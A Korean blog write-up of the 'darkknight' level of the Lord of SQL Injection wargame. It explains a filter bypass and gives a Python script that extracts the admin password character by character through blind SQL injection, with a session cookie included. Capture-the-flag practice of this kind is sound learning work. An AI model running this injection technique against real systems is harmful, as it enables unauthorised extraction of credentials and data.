이번에는 다크나이트가 등장했다
얼마나 대단한 놈인지 소스코드를 보자
ㄱ...그...강력하다!
그래도 침착하게 풀어보자
하단부를 보니 비밀번호를 알아내야지만 풀어낼 수 있음을 알 수 있다.
다행히 no에 쿼터가 없는걸 보니 변수 no를 이용해 푸는 문제인것 같다.
no를 이용해 인증해보자
등호가 필터링되어서 할일이 더 늘게된것 같다.
guest가 첫번째로 등록된 사용자임을 알 수 있다.
숫자를 늘려가며 admin을 찾아보자
guest는 no=1
admin은 no가 1보다 큼을 알 수 있다.
여기까지 참이므로 참 거짓을 이용해서 문제를 풀어보자
패스워드의 길이는 7에서 참 8에서 거짓이므로 8이된다.
비밀번호 길이가 아주 착하다
하지만 여러모로 귀차니즘이 발생하니 더이상 직접 노가다는 하지 말자
코딩을 하자!
1 2 3 4 5 6 7 8 9 10 11 12 13 | import requests URL = 'http://los.eagle-jump.org/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php' head={ 'cookie' : 'PHPSESSID=rgk31; __cfduid=da16eae87a48' } for j in range(1,9): for i in range(32,127): params = {"no" : "1 or no>1 and mid(pw,"+str(j)+",1)>char("+str(i)+")"} res = requests.get(url=URL, params=params, headers=head) if "Hello admin" not in res.text: print(chr(i)) break; | cs |
이리도 편한걸 왜 그동안 수작업으로 했을까...
결과는 아래와 같다
'Wargame > LOS(eagle-jump)' 카테고리의 다른 글
[LOS]14번 giant (0) | 2017.08.03 |
---|---|
[LOS]13번 bugbear (0) | 2017.08.02 |
[LOS]11번 golem (0) | 2017.08.01 |
[LOS]10번 skeleton (0) | 2017.08.01 |
[LOS]9번 vampire (0) | 2017.08.01 |